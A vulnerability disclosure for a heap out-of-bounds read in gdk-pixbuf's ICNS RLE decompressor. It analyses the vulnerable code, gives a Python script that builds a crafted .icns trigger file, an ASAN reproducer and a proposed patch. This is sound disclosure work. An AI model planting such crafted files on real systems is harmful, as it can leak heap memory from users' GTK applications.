gdk-pixbuf ICNS: Heap OOB Read in uncompress() (CVE-2026-18090)
The ICNS loader in gdk-pixbuf/io-icns.c decompresses RLE icon data without knowing how many source bytes are available. uncompress() takes a pixel count and a source pointer but no source length, and reads from the compressed stream until size×size pixels have been decoded — regardless of the actual block boundary. load_icon() computes the valid payload length from the block header but never forwards it to the decompressor. A crafted .icns file with a zero-byte icon payload triggers an unbounded read into adjacent heap memory. All four legacy RLE icon sizes are affected. Reachable from any GTK application that opens an image file — Nautilus, Eye of GNOME, or anything backed by gdk-pixbuf.
1. Background
The ICNS file format is the native icon container used by macOS. It stores multiple representations of an icon at different sizes and color depths in a single file. Desktop Linux images files often include .icns files — embedded in application bundles, inside ZIP or DMG archives, or as standalone assets from cross-platform projects. gdk-pixbuf is the image-loading library that underlies all GTK applications, from Nautilus to Eye of GNOME, and it has shipped an ICNS loader since 2007.
The loader is gdk-pixbuf/io-icns.c, written by Lyonel Vincent and Bastien Nocera. It handles the legacy RLE-compressed icon types (is32, il32, ih32, it32) via a function called uncompress(). That function has never had bounds checking on its source pointer. The bug has been in the codebase since the initial commit in 2007 and remains unfixed as of the time of writing.
2. The ICNS format and the RLE scheme
An .icns file is a flat sequence of typed blocks. Each block starts with a 4-byte type ID and a 4-byte big-endian size that includes the 8-byte header itself:
'icns' <uint32be: total file size>
<type[4]> <uint32be: block size> <payload...>
<type[4]> <uint32be: block size> <payload...>
...
The legacy icon blocks store RGB data as three independently RLE-compressed byte streams — one per channel. The four RLE icon types and their dimensions are:
is32— 16×16 pixels, needs 256 decoded pixels per channelil32— 32×32 pixels, needs 1,024 decoded pixels per channelih32— 48×48 pixels, needs 2,304 decoded pixels per channelit32— 128×128 pixels, needs 16,384 decoded pixels per channel
Each icon block is accompanied by a separate mask block that holds the alpha channel as uncompressed bytes (s8mk, l8mk, h8mk, t8mk for 16, 32, 48, and 128 pixels respectively). The mask block must be present and exactly size×size bytes long — load_icon() validates this before touching the RLE data.
The RLE encoding used in ICNS is a PackBits variant. The compressed stream is a sequence of runs, each beginning with a tag byte:
- Tag byte ≥ 0x80: repeating run — the tag encodes
count = tag − 125, and the next byte is the value to repeatcounttimes. Fortag = 0x80(128), count is 3; fortag = 0xFF(255), count is 130. - Tag byte < 0x80: literal run — the tag encodes
count = tag + 1, and the followingcountbytes are copied verbatim. Fortag = 0x00, count is 1; fortag = 0x7F(127), count is 128.
uncompress() is called three times for each icon: once for R, once for G, once for B. The three calls share the data pointer (which advances through the stream) and a remaining counter that resets to size×size at the start of each channel. The output stride is 4 bytes per pixel — the decoded byte is written to target, which is advanced by 4 after each pixel to leave room for the other three channels in the interleaved RGBA buffer.
3. uncompress() — no source bounds
The full function as it exists in the current codebase:
static gboolean
uncompress (unsigned size, INOUT guchar ** source, OUT guchar * target,
INOUT gsize * _remaining)
{
guchar *data = *source;
gsize remaining;
gsize i = 0;
if (*_remaining == 0) {
remaining = size * size; /* first call for this channel */
} else {
remaining = *_remaining;
}
while (remaining > 0)
{
guint8 count = 0;
if (data[0] & 0x80) /* repeating byte: tag encodes run length */
{
count = data[0] - 125;
if (count > remaining)
return FALSE;
for (i = 0; i < count; i++)
{
*target = data[1]; /* repeat value */
target += 4;
}
data += 2;
}
else /* non-repeating bytes: tag + 1 literals follow */
{
count = data[0] + 1;
if (count > remaining)
return FALSE;
for (i = 0; i < count; i++)
{
*target = data[i + 1];
target += 4;
}
data += count + 1;
}
remaining -= count;
}
*source = data;
*_remaining = remaining;
return TRUE;
}
The function loops until remaining reaches zero — that is, until size×size pixels have been decompressed. Three reads happen per iteration that have no bounds check on the source buffer:
data[0]— the tag byte. Read at the top of every loop iteration with no prior check that the source buffer still has bytes remaining.data[1]— the repeat value in the≥ 0x80branch. Read after confirming the run fits in the pixel budget, but without verifying the source buffer holds a second byte.data[i + 1]fori ∈ [0, count)— the literal bytes in the< 0x80branch. Read after confirmingcountpixels fit, but without verifyingcount + 1bytes remain in the source.
The function has no way to know where the source data ends. Its only stopping condition is the pixel count, which the compressed stream can fail to satisfy before the source runs out of bytes.
4. The missing length — isize never reaches the decompressor
load_resources() parses the ICNS block list and computes the payload length for each block as blocklen − sizeof(IcnsBlockHeader). The result is stored in *plen (the variable named isize in the caller):
case 32:
if (memcmp (header->id, "il32", 4) == 0) /* 32x32 icon */
{
*picture = (gpointer) (current + sizeof (IcnsBlockHeader));
*plen = blocklen - sizeof (IcnsBlockHeader); /* valid source bytes */
}
...
Back in load_icon(), the pointer and the length are both available:
guchar *icon = NULL;
gsize isize = 0; /* valid bytes in the icon block payload */
...
if (!load_resources (size, data, datalen, &icon, &isize, &mask, &msize))
return NULL;
...
guchar *data = icon;
gsize remaining = 0;
if (!uncompress (size, &data, image, &remaining)) /* R */
goto bail;
if (!uncompress (size, &data, image + 1, &remaining)) /* G */
goto bail;
if (!uncompress (size, &data, image + 2, &remaining)) /* B */
goto bail;
isize is computed, checked, and then ignored. It is never passed to uncompress(). The three calls to the decompressor advance data through the compressed stream by however many bytes the RLE decoding consumes — there is nothing to stop them from advancing past the end of the icon block.
The fix that CVE-2017-6313 applied in 2017 ensured blocklen ≥ sizeof(IcnsBlockHeader), which means isize ≥ 0. But a block with blocklen == 8 passes that check with isize = 0 — and then uncompress() reads from icon which points just past the block header, one byte beyond the last valid byte in the payload.
5. Secondary issue — it32 plen underflow
The it32 (128×128) block has an optional 4-byte prefix of null bytes, a historical artifact from NeXT. load_resources() detects and skips it:
case 128:
if (memcmp (header->id, "it32", 4) == 0)
{
*picture = (gpointer) (current + sizeof (IcnsBlockHeader));
*plen = blocklen - sizeof (IcnsBlockHeader);
if (memcmp (*picture, "\0\0\0\0", 4) == 0) /* detect null prefix */
{
*picture += 4;
*plen -= 4; /* subtract prefix from payload length */
}
}
When blocklen = 8 (minimum allowed), *plen = 0 and *picture points exactly to the byte after the block header — one byte past all valid block data. The memcmp at line 123 reads 4 bytes from there: into the next block in the file, or past the end of the file buffer if it32 is the last block. This is an OOB read regardless of what uncompress() does.
If those 4 bytes happen to be zero — for example because the next block starts with a null byte, or because GByteArray's backing allocation was zero-initialized — then *plen -= 4 wraps on a gsize (unsigned) to SIZE_MAX − 3, a value of approximately 264 − 4 on 64-bit platforms. This inflated length is stored in isize in the caller but, again, is never forwarded to uncompress().
6. Attack surface
The four affected RLE icon types — is32, il32, ih32, it32 — are handled by the same uncompress() call path. The maximum overread per channel is bounded by the pixel count the RLE stream fails to satisfy, which can be the full size×size pixels:
is32(16×16) — up to 256 bytes overread per channel, 768 bytes totalil32(32×32) — up to 1,024 bytes per channel, 3,072 bytes totalih32(48×48) — up to 2,304 bytes per channel, 6,912 bytes totalit32(128×128) — up to 16,384 bytes per channel, 49,152 bytes total
The overread occurs inside heap memory. The file is loaded into a GByteArray via g_byte_array_append(), and the icon pointer points into that array's backing buffer. Any bytes read past the icon block boundary come from whatever glib's allocator placed after the file data: other allocations, allocator metadata, or unmapped memory.
Any application that passes an attacker-supplied .icns file to gdk-pixbuf is reachable:
- Nautilus — generates thumbnails automatically when a directory containing
.icnsfiles is opened - Eye of GNOME — opens
.icnsfiles directly as images - Any GTK application using
gdk_pixbuf_new_from_file(),gdk_pixbuf_loader_write(), or the higher-levelgtk_image_set_from_file()APIs - Web applications using server-side gdk-pixbuf for image processing or thumbnail generation
No prior authentication, no user interaction beyond opening a folder, and no special privileges are required. An attacker who can place a crafted .icns file in a directory visible to the target user has a reliable trigger.
7. Crafting the trigger
load_icon() tries each icon size in order — 256, 128, 48, 32, 24, 16 — and returns the first one that load_resources() accepts. To target a specific icon type, the crafted file needs to contain the correct pair of blocks: an icon block and its companion mask block. The mask must pass the msize != size * size check, so it must be exactly size×size bytes.
For a 32×32 trigger using il32:
import struct
def be32(n): return struct.pack('>I', n)
size = 32
mask_data = b'\xff' * (size * size) # 1,024 bytes, valid alpha
l8mk = b'l8mk' + be32(8 + len(mask_data)) + mask_data # 32x32 mask
il32 = b'il32' + be32(8) # 0-byte payload
# il32 placed last so icon pointer lands at the end of file data
body = l8mk + il32
open('poc_il32.icns', 'wb').write(b'icns' + be32(8 + len(body)) + body)
The resulting file is 1,048 bytes. The il32 block has blocklen = 8, so load_resources() accepts it (passes the CVE-2017-6313 check of blocklen ≥ sizeof(IcnsBlockHeader)), sets *picture to current + 8, and sets *plen = 0. Back in load_icon(), icon points to the byte immediately after the il32 block header — which is the byte after the last byte of the file buffer.
The first call to uncompress(32, &data, image, &remaining) enters the loop with remaining = 1024 and immediately reads data[0] — the tag byte — from one byte past the end of the GByteArray's logical content. This is the out-of-bounds read.
The same pattern works for all four RLE sizes — substitute il32/l8mk with is32/s8mk, ih32/h8mk, or it32/t8mk and adjust the mask size accordingly.
Why ASAN does not trigger through the normal load path
GByteArray uses g_realloc() internally, which on glibc rounds up allocation sizes (typically to power-of-2 multiples or alignment boundaries). A 1,048-byte file will be backed by at least 1,056 or 2,048 bytes of actual allocation, depending on the implementation. The overread from position 1,040 (the byte after the il32 header) lands well inside the allocator's slack, not past the malloc boundary. ASAN only reports reads past the malloc boundary; reads into allocator slack are invisible to it.
To make ASAN catch the overread directly, the standalone reproducer below uses malloc(2) for the source buffer — a tight allocation that has no slack — and calls uncompress() directly with size = 4 (needing 16 pixels from a 2-byte source).
8. ASAN confirmation
Standalone reproducer — a verbatim copy of uncompress() from io-icns.c, called with a precisely sized 2-byte source allocation and a pixel count that requires more data than is available:
/* Build: gcc -fsanitize=address -g -O1 test_icns_direct.c -o test_icns_direct */
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
typedef unsigned char guchar;
typedef uint8_t guint8;
typedef size_t gsize;
typedef int gboolean;
#define TRUE 1
#define FALSE 0
#define INOUT
#define OUT
/* verbatim copy of uncompress() from gdk-pixbuf/io-icns.c */
static gboolean
uncompress (unsigned size, INOUT guchar ** source, OUT guchar * target,
INOUT gsize * _remaining)
{
guchar *data = *source;
gsize remaining;
gsize i = 0;
if (*_remaining == 0) {
remaining = size * size;
} else {
remaining = *_remaining;
}
while (remaining > 0) {
guint8 count = 0;
if (data[0] & 0x80) {
count = data[0] - 125;
if (count > remaining) return FALSE;
for (i = 0; i < count; i++) { *target = data[1]; target += 4; }
data += 2;
} else {
count = data[0] + 1;
if (count > remaining) return FALSE;
for (i = 0; i < count; i++) { *target = data[i + 1]; target += 4; }
data += count + 1;
}
remaining -= count;
}
*source = data;
*_remaining = remaining;
return TRUE;
}
int main(void)
{
guchar *src = malloc(2);
src[0] = 0x00; /* non-repeating, count=1: reads src[0] and src[1], advances data by 2 */
src[1] = 0xAB; /* the one literal value */
guchar *tgt = calloc(4 * 4 * 4, 1); /* 4x4 image, 4 bytes/pixel */
guchar *ptr = src;
gsize remaining = 0;
/* size=4: needs 16 pixels. First iteration decompresses 1 and advances data by 2.
Second iteration reads src[2] — 1 byte past the 2-byte allocation. */
uncompress(4, &ptr, tgt, &remaining);
free(src);
free(tgt);
return 0;
}
Output with -fsanitize=address:
=================================================================
==<pid>==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b96e41e0012
READ of size 1 at 0x7b96e41e0012 thread T0
#0 0x55d5cd0c9342 in uncompress test_icns_direct.c:31
#1 0x55d5cd0c9342 in main test_icns_direct.c:61
0x7b96e41e0012 is located 0 bytes after 2-byte region
[0x7b96e41e0010, 0x7b96e41e0012)
Line 31 of the standalone test is the if (data[0] & 0x80) tag read — the same read as in the real uncompress() in io-icns.c. The crash is 0 bytes past the end of the 2-byte allocation: data[0] at byte index 2 in a region that holds bytes 0 and 1.
The first loop iteration consumes src[0] (tag: non-repeating, count = 1) and src[1] (the literal value), decompresses 1 pixel, and advances data by 2. The loop re-enters with remaining = 15 and reads data[0] from src[2] — one byte past the end of the heap allocation.
9. The fix
The root cause is that uncompress() has no source length parameter. The fix adds one and derives a source_end sentinel, then adds three guards inside the loop — one before the tag byte read, one before the repeat-value read, and one before the literal-run read:
static gboolean
-uncompress (unsigned size, INOUT guchar ** source, OUT guchar * target,
- INOUT gsize * _remaining)
+uncompress (unsigned size, INOUT guchar ** source, gsize source_len,
+ OUT guchar * target, INOUT gsize * _remaining)
{
guchar *data = *source;
+ guchar *source_end = *source + source_len;
gsize remaining;
gsize i = 0;
if (*_remaining == 0) {
remaining = size * size;
} else {
remaining = *_remaining;
}
while (remaining > 0)
{
guint8 count = 0;
+ if (data >= source_end) /* tag byte */
+ return FALSE;
+
if (data[0] & 0x80)
{
count = data[0] - 125;
if (count > remaining)
return FALSE;
+ if (data + 1 >= source_end) /* repeat value */
+ return FALSE;
for (i = 0; i < count; i++)
{
*target = data[1];
target += 4;
}
data += 2;
}
else
{
count = data[0] + 1;
if (count > remaining)
return FALSE;
+ if (data + count >= source_end) /* literal run */
+ return FALSE;
for (i = 0; i < count; i++)
{
*target = data[i + 1];
target += 4;
}
data += count + 1;
}
remaining -= count;
}
*source = data;
*_remaining = remaining;
return TRUE;
}
The three call sites in load_icon() need to be updated to pass isize as the new argument. Since all three calls consume from the same sequential stream, the remaining length must be tracked across calls:
guchar *data = icon;
gsize remaining = 0;
+ gsize src_remaining = isize;
if (!uncompress (size, &data, src_remaining, image, &remaining))
goto bail;
+ src_remaining -= (data - icon); /* bytes consumed by R decompression */
+ guchar *src_after_r = data;
if (!uncompress (size, &data, src_remaining, image + 1, &remaining))
goto bail;
+ src_remaining -= (data - src_after_r);
+ guchar *src_after_g = data;
if (!uncompress (size, &data, src_remaining, image + 2, &remaining))
goto bail;
A simpler alternative is to compute the remaining bytes dynamically at each call as isize - (data - icon), which avoids the intermediate variables. Either approach is correct; the first is slightly more readable at the cost of two extra locals.
The secondary it32 memcmp overread is fixed separately by adding a minimum payload length check before the null-prefix test:
if (memcmp (header->id, "it32", 4) == 0)
{
*picture = (gpointer) (current + sizeof (IcnsBlockHeader));
*plen = blocklen - sizeof (IcnsBlockHeader);
+ if (*plen < 4)
+ break;
if (memcmp (*picture, "\0\0\0\0", 4) == 0)
{
*picture += 4;
*plen -= 4;
}
}
io-icns.c in the master branch of GNOME/gdk-pixbuf is unchanged from the vulnerable version. The 2.44.7 release (2026-06-27) does not contain a fix. CVE-2026-18090 was assigned on 2026-08-03. GitLab issue #308 is open.
10. Disclosure
Reported to the GNOME Security team at security@gnome.org on 2026-04-22, with a full bug description, ASAN confirmation, Python reproducer for all four icon sizes, and a proposed fix. Andrea Veri redirected the report to security.gnome.org (ticket #267). Michael Catanzaro acknowledged the report and moved it to the gdk-pixbuf issue tracker. The issue is tracked at gitlab.gnome.org/GNOME/gdk-pixbuf/-/issues/308.
The 90-day coordinated disclosure window elapsed on 2026-07-22 without a fix. Michael Catanzaro unset confidentiality on 2026-07-24 and requested a CVE at that point. gdk-pixbuf 2.44.7, released 2026-06-27, does not contain a fix. io-icns.c is unchanged in the master branch as of publication. CVE-2026-18090 was assigned on 2026-08-03.
Other recent kernel and library work: a heap buffer overflow series in the rtl8723bs staging WiFi driver (separate post), a heap OOB write in the iSCSI target CHAP authentication code (separate post), an OOB array access in ieee80211_ml_epcs() in the mac80211 WiFi stack (separate post), and a heap OOB write in LogMel::Compute() inside microsoft/onnxruntime-extensions (separate post).